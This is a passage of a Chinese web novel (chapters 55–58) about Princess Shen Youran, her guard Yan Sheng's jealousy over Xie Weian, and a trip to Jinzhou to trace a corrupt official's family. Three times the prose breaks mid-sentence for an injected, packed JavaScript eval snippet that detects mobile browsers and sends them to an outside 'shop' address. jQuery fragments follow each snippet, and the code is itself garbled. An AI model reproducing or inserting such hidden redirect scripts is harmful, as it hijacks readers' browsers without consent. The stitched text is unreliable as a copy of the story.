谢为安看得有些呆愣,而后不好意思地转过头去。 “帝姬可是忘了答应过我的事?” “我忘了你什……” 沈悠然话说了一半,突然想起他说的是之前让自己为他作羹汤一时。 她顿时有些为难。 倒不是她放不下面子,谢为安救过哥哥,理当如此。 只是……只是…… 沈悠然想起自己从前因为一时心血来潮差点让栖梧宫成为新年里绽放的第一朵火花之时,顿时还是觉得自己其实也是放不下面子的。 让她做点什么不好,偏偏是最不擅长的事…… 她抿着唇,目光觑向还站在门口的严晟。 严晟看了她一眼,又看向一旁的谢为安,“此番能够顺利地将于世秋捉拿归案,谢统领功不可没,我定会在呈于圣上的折子上特明此事,届时,陛下定会重赏谢统领。” 但谢为安不在乎这些。 他的祖父是辅国大将军,母族亦是武将之中有名有姓的大户,一般的赏赐当真入不了他的眼。 况且替太子收拾大盛的贪腐之官,本就是他一介臣子该做的事。 “我不要那些。”他摆了摆手。 沈悠然以为他是坚持要为难自己,正打算破罐子破摔,对他直言若是不怕死的大可尝尝她亲手做的羹汤。 谢为安就在此时又改了口,“我也不用帝姬真的为我下厨,那不过是一句玩笑话罢了。” “只不过,只不过,我想请帝姬赏脸,同我吃顿饭。此一去不知何时能见,若是在宣阳城中又难免惹人闲话有损帝姬清誉,便想着、便想着趁在这里没人认识我们,就当、就当是帝姬替我送别,可好?” 他双眸里闪着亮光,看向沈悠然的眼里尽是期待。 沈悠然不免想起第一次见他的时候,两人隔着一个帐子,他板着个脸和其他人商议战术,而后又是在马球场上以蛮力压制自己。 那时候还以为这个谢为安是个顽石一般不好相与的人呢,没想到接触下来,倒是有几分武将世家的豪爽。 沈悠然向来就喜欢性格直率的人,此刻是真心的想要交他这个朋友。 “好啊,那就今晚,酒席我来定。哥哥如今不便饮酒,嫂嫂一人怕是也放心不下将哥哥一个人丢下,那就我和严晟给你送行。” 谢为安双颊有些泛红,脑袋低垂着有些不好意思。 “严大人怕是还有折子要写,我就不打扰了。” “就我们俩,可以吗?” 沈悠然回过头看了眼严晟,想起他还有折子要写,又不想他熬夜。 “好啊,那就我们俩吧。”她一口答应道。 在无人在意的角落里,严晟搭在房门上的手,泛起了青筋。 55. 第 55 章 谢为安邀沈悠然单独出席,原是有要事相求。 他被祖父扔到原州历练,见了许久未曾见过的舅舅舅母,还有许久未曾见过的表兄弟姐妹们。 原州许家是个大家族,人口兴旺,表兄弟们还好,但平日里不常来往的女眷,谢为安就不大能记得住人了。 只除了那位嫁到宣阳城里还有过往来的表姐,其他的那些表姐表妹们,他都分不清谁是谁。 他要求的这件事,就和这位表姐有关。 他的表姐叫许清宁,四年前嫁到忠国公府上,是忠国公次子的正妻。 虽说不需要次子光耀门楣,但谁家不盼着人丁兴旺,自许清宁嫁到郑府的那日起,就时常被耳提面命,让她早日为郑家二房开枝散叶。 但两年过去了,肚子里一点动静也没有。 郑家大夫人对这个二儿媳处处看不上眼,越过她亲自做主给小儿子找了好几门妾室,尽是跳着好生养的选。 人品家世都不是问题,只要能生出孩子,就是郑家的大功臣。 今年年初的时候,总算是有了好消息传来,一名新入府的妾室有了身孕。 眼见着郑家二房后继有人,家中长辈们都很是欢喜,恨不得将那名妾室当做正房夫人供起来,一时间风头也越过了许清宁。 但好景不长,这肚子里的孩子还未满三个月,便出了意外,说是摔了一跤,孩子就没了。 这是郑家二房盼了四年的孩子,他们无法接受希望落空,一口咬定是许清宁在其中捣鬼,更是直言她生不出孩子,也见不得别人生。 郑家直接给原州寄了信,质问许家是如何教养出这样的女儿,直言要将这等毒妇逐出家门,免得祸害一大家子。 谢为安是在舅母和舅舅哭诉的时候知晓此事的。 因为原州离宣阳城远,舅舅常常取信让母亲多多照拂这位表姐,是以谢为安同许清宁见过几面,不敢想那位连厨房杀鸡都不敢看的表姐,会去害一个孩子。 只是谁是谁非都是郑家后宅的事,原州许家尚且攀扯不清,谢家更是外人不好插手。 无论是郑家让表姐平白无故受了诬陷,还是郑家人偏帮那小妾想要踩正妻一头,对表姐而言,郑家都不再是良人。 如今既然已经看清了郑家的为人,对错都是次要的事,最要紧的事还是要让表姐脱离郑家的牢笼——许家怕郑家将所有的怒气都发泄在女儿身上。 按照舅母的意思,若是被人误以为表姐是因为无法生育而对妾室下了狠手,那表姐的这辈子就毁了。 所以,谢为安才会想到让向沈悠然开口,借皇后娘娘之手,从中斡旋。 到时候,可就不是他郑家休妻,而是许家的女儿自请和离! 这事事关女儿家的名声,不好让太多人知晓,谢为安又和严晟没什么私交,不清楚他私下的为人如何,便只叫来了沈悠然一人。 沈悠然听明白了前因后果之后,心中亦是愤慨,双手抱拳如同江湖儿女一般向谢为安承诺。 “你放心,你表姐的事,我回去就写信告诉母后,定要让母后替你表姐讨个说法!” 孤身在外,沈悠然不想饮酒,便以手边的清茶暂代,一饮而尽以示庄重。 见此,谢为安彻底放了心。 “那就,多谢帝姬恩典。” * 沈悠然踩着月色归来时,刚一踏上木梯,就瞧见了自己房间里透出了朦胧的灯光。 或许是这几日精神紧绷,她第一反应是有贼人潜入。 难道是那群死士? 她放慢了手脚,第一反应是看向旁边的房间。 那是严晟的住所。 但此时里面却是漆黑一片。 严晟不在?他去哪里了?总不可能已然遇险? 谢为安带来的兵马住在一楼,复命也不是什么急报,原计划是明日一早出发。 想到这里,沈悠然就觉得似乎也不那么担忧了,那群死士的胆子再如何大,也不敢这么明目张胆。 但她还是没有放松警惕,小心翼翼地推开房门后,一眼看见了一个背影。 是严晟。 沈悠然瞬间卸下防备,蹦跶着从跳了过去,从背后捂住他的眼。 “哪里来的贼人,竟敢擅闯本帝姬的卧房!” 严晟手腕一抖,一滴墨汁落在了他写了一整晚都没写完的奏折上。 眼前这一片漆黑让柔软的触觉更加清晰,严晟觉得呼吸一滞。 他这一晚上都觉得自己在等待,但又想不明白自己到底在等什么。 现下,终于是知道了。 他伸手覆上沈悠然的手背,指腹搭在她细嫩的虎口处往下拉,断了两人之间的触碰。 “抱歉,在下原是在帝姬房中写奏折,一时之间忘了时辰,还请帝姬责罚。” 他语气淡淡的,让人听不出喜怒。 但沈悠然觉得他似乎有些不开心。 她脸上的笑容也渐渐凝固,手腕挣扎着逃离了他的掌心。 “你在生气。”她面朝着严晟,看着他的双眼笃定地说道。 严晟将笔放在一旁的笔搁上,用一旁的烛火点燃了这份完不成的奏折。 火蛇顺着纸张的方向往上延伸,但却像是有意识一般,不敢靠近严晟那修长的指尖。 他的动作慢条斯理,透露出一股矜贵的感觉。 若是在平时,沈悠然可能会有闲心来好好欣赏。 只是此刻,她觉得屋内的气氛有些低沉,就像是暴雨来临之前天边漂浮着的黑压压的云,让人有些喘不上气。 “你在同我置气。”沈悠然也学着他的模样,语气平淡。 严晟继续着手上的动作,将已经看不见字迹的密折残骸扔进一旁盛满清水的笔洗中。 铅黑色的灰烬因着认为的动作浮浮沉沉,最终漂浮在水面,只要有人轻轻一拨弄,就会随着水流四散而逃。 一如严晟此刻的心情。 “我是在同自己置气。” 这样啊,那没事了。 沈悠然也不再学他那样端着,顺势坐在一旁的凳子上。 “你在气什么?”她想到进来的时候看见他在写奏折,拿他打趣,“总不能是因为折子写不好吧?” 严晟几乎是下意识地就伸手给她倒了杯茶水,动作自然娴熟,堪比沈悠然的贴身宫女青黛。 沈悠然轻咬着嘴唇内侧的软肉,不想让严晟看出来她现在很高兴。 “昭懿帝姬,小心烫。” 沈悠然没搭理那杯茶,双手撑在桌沿,突然凑近。 两人之间只剩下了一指的距离,沈悠然一双眼忽闪着,细软的眼睫像是一把刷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903311|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换换划过严晟心头。 她也不答他的问话,轻柔的呼吸在两人之间萦绕着。 “你怎么不叫我皎皎了?” 严晟有些招架不住,连忙转过头去,似是不经意地岔开了话题 “你身上,似乎有酒气?我让人给帝姬备醒酒汤?” 沈悠然低头看了一眼外衫下摆,上面的酒渍早已在回来的路上被风干,看不出一点痕迹。 只留下了围绕在周身的酒气。 谢为安那个笨手笨脚的,给自己掺个酒都能不小心将酒壶打翻,害得她身上也沾了酒气。 本来是打算一回来就换掉的,只是被严晟这么一打断,就忘了这件事。 “不是我喝的酒,还不是怪谢为安!” 怪他什么呢? 怪他凑得太近吗? 这般重的酒气,得是什么样的距离才能沾染上。 严晟觉得自己的脑子里现在有一株藤蔓,每一个枝节上都挂满了让他不敢去细究的念头。 但这藤蔓却是不受他控制的,在脑子里肆意生长着,从一颗种子开始,渐渐占据了他的整个脑子。 他不想去思考这件事,但他无法控制自己。 从沈悠然走出房门的那一刻起,他就已经隐约有了这种不好的预感。 一个人待在她房里的时候,他总是忍不住胡思乱想。 谢为安为什么要单独请皎皎吃饭?他有什么什么企图?他们现在是在半路上还是已然到了酒楼?他们是比邻而坐还是面对着面?桌上的菜是否合皎皎的口味?他们会在一起谈些什么? 无数的念头像是夏日里扰人的知了叫声在他脑子里盘桓,他发现自己根本就没办法写出这份奏折。 这种陌生的焦躁在闻到沈悠然身上的酒气时达到了顶峰。 严晟从未觉得自己的嗓音喑哑得这般陌生过。 “谢为安他、他……怎么了?” 他紧张地等待着沈悠然的回答,像是在等着被判刑的死囚犯。 一想到自己的衣衫上还沾着酒,沈悠然眉头不免一皱,“如果不是他……” 话说到一半,沈悠然忽然觉得醍醐灌顶一般,脑子里一下就清明起来。 她将视线落在严晟闪躲的眼神和被攥得有些发皱的袖口上,忽然之间就意识到了什么。 “你是在……因为谢为安吃味吗?” 看着严晟的表情随之一滞,沈悠然没忍住,侧身坐在他的双腿上,伸手在他紧绷着的脸颊上捏了捏。 “你是因为这个不开心的吗?” 相较于严晟的自我折磨,沈悠然的心情倒是非常的不错。 她几乎是将自己整个人都挂在了他身上,感受着他僵硬的身躯,看着他慌张无措不敢触碰的双臂。 严晟不敢去触碰她,但又怕她摔下去,右手搭在桌边,做出围栏的效果。 也不敢直视沈悠然的眼睛,视线只得四处飘忽着,再次落在了笔洗水面上的灰烬上。 沈悠然是真的觉得很有趣。 她步步紧逼,严晟节节败退。 “严晟,你在不自信什么呢?”她凑近了低声轻语。 严晟轻耸着喉头闭上了双眼。 是啊,他为什么这么不自信呢。 兴许是因为,他知道,沈悠然看上的不过是他的脸罢了。 56. 第 56 章 沈悠然最终还是没问出一个结果。 面对她的质问,严晟恍若未闻。 “帝姬,时候不早了,您该休息了。” 他这般不敢直视只是顾左右而言他,彻底让沈悠然起了坏心。 “可我睡不着啊。”沈悠然小声嘟囔,“难受,特别难受。” 听到这话,严晟瞬间有些紧张,以为她是受了凉,身体不舒服。 原本垂在身侧的手搭上了沈悠然的额头,用肌肤之间的亲昵触碰来试探她的体温。 不算烫手,应当不是发热。 “帝姬哪里不舒服?”严晟还是不放心,“可要让我叫大夫来?” 他越是这样一本正经,沈悠然就觉得越自己恶劣,非要让他的这幅正经模样面目全非才好看。 “不知道你是不是在吃味,心里难受得不舒服。” “你告诉我呀,你是在吃味吗?你嫉妒谢为安?嫉妒我跟他单独吃饭?” 特意被加重的“单独”两个字,在严晟听起来,确实有些刺耳。 “帝姬不必胡思乱想。” “天色已晚,逗留太久,恐惹人闲话。” 他心生退意。 沈悠然偏不让他如愿。 “今日你若不好好回答我,我就不让你走。” “你口口声声尊称帝姬,我就不信你敢违抗我的命令!” 活脱脱一副骄纵模样,但偏偏又不会惹人生厌,直觉她这副眼波里神采飞扬的模样,就该是骄纵性子。 严晟没有回答,忽然问起他之前送给沈悠然的匕首在哪。 话题跳转地太快,沈悠然虽然有些不解,但还是老老实实地指了指自己的大腿外侧。 “在这呢,你要用?” 严晟按住了她打算去解开暗扣的手,心中不免舒了一口气。 谢为安本就是武将,和他在一起应当是安全的,按理说是不必再去随身携带武器防身的。 但沈悠然还是带了。 那压抑在胸口的郁气多少是泄了不少,严晟一手搭在沈悠然的脑后,顺势揽住她的腿弯,抱着她起身放在床榻之上。 规整地脱下她的鞋子在床榻边放好,这样能够控制的秩序让严晟心静了不少。 他轻抚着沈悠然有些凌乱的额间发,俯身亲吻着。 “既然在,那便不吃味。” “睡吧,往后,送你一把更好的。” * 时值汛期,永州知州的职位不好空悬太久,盛兴帝和吏部的人商议之后,调令不日便送到了新知州的手上。 新知州不知前人是怎么犯下死罪被革了职,只隐约听闻是贪墨赈灾款,再加上又知道暂时在永州落脚的巡查使是何人,从代知州手中接过官印的时候,整个人紧绷着。 他怕重蹈前人覆辙,连行李都未曾来得及收拾,便马不停蹄地带着工匠前往堤坝,势必要将民生之计当做头等大事。 新人有了着落,犯了大罪的于世秋也被原州许家派来的精兵负责押送回宣阳城二次受审,沈煦的伤也再无碍。 此间事已了,一行人打算第二日便离开。 新知州松了一口气,站在城门口送行的时候只差没找个敲锣打鼓的仪仗队来欢送了。 沈悠然见他这样,坏心又起,在新知州挥手送别的时候,转过头佯装同蔺朝暮低语。 “嫂嫂,你说那人靠谱吗?让他在暗地里监视着这个新知州,真怕他哪一日漏出马脚来。” 余光瞥见新知州哆嗦着身子擦汗的模样,沈悠然连忙侧过身子紧抿着双唇,怕自己当着他的面笑出来。 一直等到出了城门,她才敢放肆大笑。 蔺朝暮无奈地笑着,用指尖轻点着她的额头,“你啊你,吓唬赵大人作甚。这两日相处着看起来他本就是个谨小慎微的模样,再被你这般一吓唬,怕是以后日日都睡不安生,惦记着你安插的那位‘监工’是谁了。” 沈悠然不以为耻,“永州百姓可再担不起一个自私自利的知州了,我这不过是未雨绸缪,悬一把剑在他头顶上,免得他看我们走了,背地里再作乱。” 她这点小心思,倒是让沈煦觉得欣慰,“我们皎皎这趟真是没白来,倒是处处想着为百姓着想了,等回了宫,哥哥定要好好同父皇母后说道说道。” 本就是容易骄傲的年纪,被这么一夸,沈悠然只恨自己没长个尾巴出来,非要翘上天去让人看看。 “这才哪到哪呢,哥哥你等着瞧吧,我这个帝姬做得可不必你个太子差。” 这般大胆的话,若是落在外人耳中,或许会觉得沈悠然狂妄自大,但沈煦却只会觉得自己的妹妹千般万般好。 “那哥哥就拭目以待。” 听到这话,沈悠然恨不得撸起袖子大干一场,“你就等着瞧吧!” “对了,我们这是要去哪里呀?” 他们此行为的就是看看大盛的辖地,并没有明确的目的地。 但天地之大,总不能任由马儿乱跑,至少得有一个方向。 众人都没有下一步计划的时候,沈悠然有一个埋在她心底好些时日的念头。 “你们还记得当初那队跟踪我们的胡商吗?” 谁能不记得呢,当初从黑心驿站出来又被人跟踪,大家都是打起了十二万分的警惕呢。 “我时候一直觉得奇怪,他们在听到我们目的地是永州后,就不再跟着我们走了,似乎就像是、就像是……” “就像是在害怕我们会去某个地方一样。”严晟补充道。 “对对对,我一直怀疑那群人知道我们的身份。而他们一直防备着不让我们去的地方,也有什么惊天大秘密。” 沈煦拿出舆图,找到当初被胡商跟踪的那条岔路口, “我们当时是往左走的,至于往右的方向,沿途经过的几个州县,确实是商贸繁华的地界,他们所用的经商借口站得住脚。” 顺着他手指的方向看过去,沈悠然发现了一个有些耳熟的地方。 “这个锦州……怎么感觉在哪里听过。” “于世秋,就是锦州人。” 沈悠然恍然大悟,她想起来了,锦州重商贸,于家就是在锦州发的家,而后才有那么多的资产,给于世秋买了个官。 先是有人防备着她们去锦州,而后又发现于世秋是锦州人。 这其中,到底是有什么蹊跷,还是纯粹的巧合呢…… 虽然眼下没有什么证据,但众人似乎都更偏向于前者。 有了这么一个发现,严晟又发现了一个关于于世秋的疑点。 于家世世代代都在锦州,而魏家则是久居宣阳城中,也未曾听说过望国公府有谁在锦州任职。 这么看起来,于世秋和魏淳之间应当没什么交集才对, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907313|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可偏偏二人之间产生了一场见不得人的交易。 这不得不让人怀疑,这中间是否还存在一个人,在于世秋和魏淳之间,起了个牵线搭桥的作用。 如果能找出来这个人,说不准还能牵扯出别的私密来。 反正也没有其他的去处,不如去锦州走一趟。 “行!”沈煦拍板,“那就前方掉头,我们去锦州!” “走喽走喽!”沈悠然拍着手,心情很是开怀。 此番若是能再捉到什么贪官污吏阴险杂碎是最好的,回了宫她也能向父皇母后邀功,让他们看看自己跟着出来才不会拖后腿呢。 若是不能,那也可以去见识见识天南地北的商贸,往日里她不缺那些珍宝佳品,也不是没见识过稀奇古怪的新玩意儿,但是真的没有见过那些东西是怎么来的。 想到这里,她忍不住戳着严晟。 “可别忘了,你还答应了给我买一把新的匕首呢。” 现在的这把匕首虽然也不错,但锦州地大物博,想必能有很多的选择。 又或者说,其实沈悠然根本也不在意什么更好的,她不过是找个借口同严晟出去游街罢了。 严晟抿着唇,他自然是不会忘的,也不会忘自己是什么时候说出来的这番话。 “帝姬放心,臣记着呢。” 又是这样君君臣臣地挂在嘴边,尽是疏离。 沈悠然有些不满地噘着嘴,但当着哥哥嫂嫂的面,又不好发作。 不着调为什么,总觉得在哥嫂面前同严晟胡闹,有些不好意思。 或许这就是从前调侃哥嫂调侃得多了,如今风水轮流转了。 她只得趁着半路上修整的功夫,抓紧和严晟独处的机会,将他拉到角落里盘问。 “我觉得你最近怪怪的。”沈悠然直言。 手中还攥着喂马的干粮,驿站的人见他们几人非富即贵,也不敢怠慢,备下的都是上等的饲料。 马儿埋头苦吃十分畅快,都分不出功夫来竖着耳朵听她二人在说什么。 “帝姬觉得哪里怪?”严晟反问。 沈悠然学着他的模样手里捏着干草,用喂马来掩饰她为什么和严晟单独呆在此处。 “就是、就是……就是我以为我们之间似乎是更进一步了,但这几日相处下来,又觉得是我的错觉。” 想到那夜的吻,她还是更喜欢那样赤忱热烈的严晟。 她脑子里突然产生了一个念头,“你该不会是,亲过就后悔了吧?” 严晟连忙放下手中的粮草,三指并立着对天发誓,“倘若我辜负了帝姬,定叫我天打雷劈。” “我不过是、不过是……” 严晟顿了顿,不敢去看沈悠然的眼睛。 “不过是还有些东西,没想明白罢了。” 没想明白,自己除了这张脸,还有什么能够留得住她。 长得好看的人那么多,可沈悠然只有一个。 毒誓已经发了,沈悠然按下他的手,歪着头问他,“什么东西,我帮你想。” 严晟没有回答,只是伸手揉了揉她的脑袋。 “是需要我自己想明白的东西。” 这样藏着掖着,沈悠然也来了气,将手中的粮草往他怀里一塞,脑袋晃悠着发髻在头顶来回摆动。 “我给过你机会了,现在不说,这辈子都别想说了!” 57. 第 57 章 马车驶进锦州城大门的时候,能够明显地感觉到这里和永州不一样。 锦州重商,连绵不绝的小摊一路从城门口延伸到了看不见的尽头。 城门本就往来者众多容易拥堵,再加上这些小摊,更是无从下脚。 在城门外查验公文的时候都未曾被堵在半道中,倒是现下走不动道了。 沈悠然撩开车帘,看向路的两侧。 不愧是贸易发达的地方,到处都能看见经商的人,不管是小摊贩还是两侧的店铺。 摊子上琳琅满目的商品吸引着沈悠然的目光,她挨个看过去,卖首饰的旁边是一个卖竹筐的,两人在因为竹筐占地太多而吵闹。 再对面又摆着一群装在笼子里的小鸡仔,正叽叽喳喳地叫个不停,摊主一面何人讨价还价,一面在扒拉着笼子,将试图越狱的小鸡仔推回去。 沈悠然四处张望着,居然发现还有一块空地上蹲着两个人,用烧焦的木炭当做笔再地上写着代人挖井。 没想到不仅有卖货的,还有卖劳力的。 门外的守城官瞧见人马进不了成,操起一旁的长棍穿过城门,驾轻就熟地从人群中挤过去走向角落。 “喂喂喂,又是你们俩,不是说了吗这里不准摆,快让开快让开,惹急了本大人让人把你们抓回去,治你们个扰乱治安的罪名!” 被棍子指着的两人一脸的苦相,“大人啊,您就可怜可怜我们吧,除了这块地儿,也没地方了。” 守城官面无表情,像是已经听说过无数遍这种话了,“次次都是你们两个懒汉,本大人说过了,没位置的话下次你们就早些起,这不就能占到好位置了吗?” “成了,别再废话耽误大人我的时间了,早些收拾好自己的东西,免得待会儿叫人来,可全都给你当成破烂扔喽。” 那两个小贩也不再纠缠,灰溜溜地收拾好自己的东西就走了。 周遭的其他小贩连眼神都没分过来一个,想必早已对这样的场面见怪不怪了。 蔺朝暮不禁感慨着,“真是热闹啊。” “不如我们走下去吧!”沈悠然挽着她的手臂提议,“照着这情形,怕是坐马车还没我们用腿走得快呢。” 若是用走的,少不了会被人瞧见。 蔺朝暮心有顾虑侧过头地看了一眼沈煦。 沈煦当然是不介意的,只是比起妹妹的心直口快想要怎么便怎么的性格,妻子的这番小心谨慎,让他不免有些愧疚。 “无妨,此处没什么人认识我们,就当是,访查民情了。” 笑意在蔺朝暮的脸上一闪而过,似乎是担心这样不够庄重,她迅速收敛起了笑意。 沈煦将她的手掌放在把玩着,指腹轻轻揉搓着她的掌骨。 “别怕,既不在宣阳城里,便不用讲那么多的规矩。” 二人眉来眼去的,沈悠然又忍不住在一旁发出啧啧声响。 “注意点呢,这里还有外人呢,别腻歪啦!” 蔺朝暮抿唇藏着笑,抽回自己的手挽着沈悠然的手臂,不敢再去看沈煦。 沈煦佯装怒气,捏着拳头在沈悠然面前晃了晃,嘴上开着玩笑。 “沈悠然,你太碍眼了,迟早有一天给你嫁出去,嫁得远远的才好,最好别再我面前晃悠。” 话音刚落,沈悠然和严晟的目光不约而同地落在他身上。 前者气鼓鼓地瞪着眼。 后者目光晦涩,看不清情绪,只有微微垂下的嘴角,昭示着他或许不大愉快。 虽然不信沈煦会像他口中的那般随意对待自己的终身大事,但还是撇着嘴朝他做了个鬼脸。 “哥哥,怀念你受伤的日子,那时候的你可安静多了。” 说罢,她就拉着蔺朝暮下了马车。 只是在路过坐在门口的严晟时,板着个脸做出一副公事公办的态度。 “严大人,麻烦您让让。” 其实马车宽敞,根本就不用谦让,她不过就是看见严晟心里不顺畅,想找茬罢了。 严晟绷直了双腿往回缩,伸手拿过旁边的包袱。 沈悠然想逛,自然是没有驳了她兴致的道理。 外面人多嘴杂,腰配长剑难免惹眼,严晟解下剑鞘,准备换一把轻便的匕首随身携带着护她们安危。 “帝姬还请等……” 回应他的,是沈悠然的一声再明显不过的轻哼,和因为甩头动作太快而飞扬起的发尾。 沈煦挑着眉很是诧异,“你和皎皎,闹矛盾了?” * “皎皎,你和严大……严护卫,闹矛盾了?” 刚到锦州,还是用假身份比较方便形式。 沈悠然噘着嘴,嘴硬不愿承认,“没有啊,我们哪有什么矛盾。” 其实她也不是想要瞒着哥哥嫂嫂,只是她也不知道现在该怎么同哥嫂描述她和严晟的关系。 但蔺朝暮心里门儿清,她也用过那样的目光看人,又怎么会不明白那是什么意思呢。 “那严护卫也喜欢你吗?” “他敢不喜……”话说到一半,沈悠然有些懊恼失言,“我怎么知道他喜欢谁。” “再说了,什么叫也啊?他是他,我是我,怎么就也上了。” 蔺朝暮捂嘴轻笑,古人云言多必失,定是有道理的。 “我还怎么都没说呢,皎皎怎么自己先慌上了?” 看着沈悠然赌气似的闭上了嘴,蔺朝暮总算是明白她为何那般喜欢打趣自己和沈煦了。 这样看着别人支支吾吾地说不出话来反驳,确实有趣。 “嫂嫂没有其他的意思。” “你若是和严公子两情相悦自然是最好的,但万万不可一厢情愿。感情里,最是忌讳只有一个人动心了。” 蔺朝暮能感受到,比起上次和沈悠然提及严晟的时候,她们二人之间有什么不同了,不像是沈悠然的一厢情愿。 严晟人好,若是二人有情,作为嫂嫂,蔺朝暮自然是不会反对两人在一起。 只是她在心里还是会偏帮自己视作亲妹妹的沈悠然,不愿她吃情爱的苦,必要的时候还是得让她这个旁观者来点拨一番。 沈悠然叹了口气,小声嘟囔着似是抱怨,“我又不知道他是不是喜欢我。” 爱意肯定是有的,沈悠然有这个自信,那晚的亲吻不会骗人。 可她总觉得两个人之间还隔着一层什么东西,不掀开这道帘子,谈再多的爱都无济于事。 “那还不简单,”蔺朝暮脸上露出了罕见的狡黠申请,“皎皎可知,当初你哥哥是如何想明白要求娶我的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912185|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的事,沈悠然多多少少知道一些。 无非是哥哥在一场宫宴上对嫂嫂一见钟情,但他个性含蓄,不想靠着自己的身份强迫他人,也做不出当众表白大肆追求的事来。 两人纠缠着暗送了大半年的秋波,任谁见了都要说一句这两人之间有猫腻。 忽然某一日晚膳时候,不知道从哪回来的哥哥连饭都来不及吃,噗通一声就跪在帝后面前,说要娶蔺朝暮为妻。 帝后也不是看重家世的人,蔺朝暮是何人他们见过,知晓那是个好孩子。 再加上庄太后又不在意沈煦娶什么样的女子,在沈煦急不可耐的催促之下,竟是花了三日的功夫,就将此事定了下来,由礼部操办着过了六礼,择定婚期。 现在想想,他当真是操之过急了。 照着蔺朝暮的意思,莫非是,她做了什么? 看着沈悠然的目光从平静渐渐变成了不可思议,蔺朝暮捂着嘴笑了笑。 “你想要看清他眼里有没有你,首先要做的,是眼里没有他。” 这话说得玄乎,沈悠然没太听得懂。 蔺朝暮也不解释,对着她摇了摇头,看起了一旁的簪子,顺道等待着几步开外的沈煦和严晟到来。 见到来了客,摊主立马脸上挤出一朵花,笑意盈盈地盯着她们。 “夫人小姐,看看我家的簪子吧!” “咱们家卖的是花簪,款式好看不说,寓意也好哩!” 沈悠然看着这掐丝而成做成花朵模样的簪子,一瞬间被勾起了好奇心。 “这有什么寓意呀?” 摊主笑意更甚,她一个做生意的,可不怕别人问得多,就怕人家不感兴趣。 “您瞧这个,这是石榴花,寓意呀多子多福,特别适合新婚的小娘子,戴上之后定能同夫君恩恩爱爱,生一窝大胖小子呢!” “这是牡丹,最是富贵了,若是戴这个,保管您呀一生的富贵!” 她表情夸张,嘴里的吉祥话跟不要钱似的往外蹦,还随手拿起其他的簪子摆在两人面前晃悠。 “还有这个,你看这个莲花,那叫出、出……出什么泥来着……”她懊恼地拍了拍大腿,“这个啊,是昨日才做好的,我还不熟呢,反正我闺女儿说了,就是夸人高洁的意思。” “还有这些这些……” 她太热情,沈悠然招架不住,又加上这花样好看,顿时就要掏银子买上两根。 一根石榴花的送给嫂嫂,让她也过一把当姑姑的瘾。 另外一个倒是没想好。 沈悠然的目光在摊子上来回逡巡着,每种花样都不错的样子,实在是选不出哪一个更好。 蔺朝暮随手取下一根,替沈悠然簪在了头上。 “皎皎,你瞧这桃花的怎么样?” 那摊主见状,在一旁卖力地推销着,“这个好,这个好,这桃花簪最是适合未出阁的小姑娘呢,戴上我们家的桃花簪,定能觅得如意郎君!” 严晟听到此话,脚步一顿。 蔺朝暮余光扫了他一眼,转身挽着沈煦的臂弯。 “夫君,我瞧着妹妹戴这个,甚是好看呢。” “你不是说要给妹妹寻一个好人家吗?这个簪子寓意这般好,定是能让妹妹……” “觅得好郎君。” 58. 第 58 章 于家的下人们还是从沈煦一行人的口中得知于家管事的人已经跑了。 于家在锦州做的也是酒楼生意,全部交由几位信得过的大掌柜打理,每逢十五大掌柜们会聚在一起开朝会,平日里于家人若是闲来无事便会去酒楼巡视。 寻常人家若是这样做生意,少不得会被下头的人欺上瞒下贪墨盈利,严重些的指不定还会赔个倾家荡产。 但于家也不知道是太过信任这些大掌柜或是其他的原因,就好似不在乎一般,哪怕是祖上留下来的祖产已经从九座酒楼挥霍到纷纷关门仅剩三家了,也不见于家的当家人于世春有多紧张。 外人都说想要找于老板,自家酒楼是瞧不见的,得去戏楼。 现在想想,怕是事出有因。 一来是于家早就有了其他的赚钱法子,也不在乎起早贪黑开酒楼的那些收益,自然是能躺着享福就不会站着赚钱了。 二来,也算是于家人有点脑子,知晓于世秋的官位来路不正,暗戳戳地在锦州富商的行列里当个中下游的小鱼儿就够了,太惹眼反倒惹麻烦。 也就是于家这般不太上心的态度,让管事的人好几日都未曾出现过这件事变得稀疏平常。 家里的下人们也以为是老爷夫人少爷小姐们出门游玩去了,反正家产还在,根本不会往跑路那方面想。 他们也定是未曾想过,这于家犯的罪够掉好几个脑袋了,跟那些来不及处理的家产比起来,还是命更重要。 这个于世秋,消息倒是递得快。 听下人说,于家人是分批逃走的。 家里的夫人带着老夫人和少爷小姐们说是要上山祈福先走,第二日一早于世春和其他几位叔伯说是要去查账,也出了门。 走了这么几日了,早就信心全无。 只是这样一来,线索就全断了。 沈悠然想了个损招,找了两个人自称家中是隔壁县卖蔬果的,个把月前给于家酒楼供了一大批货之后,一直到现在都没收回银钱,家中父亲气得缠绵床榻好几日,兄弟二人只好孤身踏上锦州。 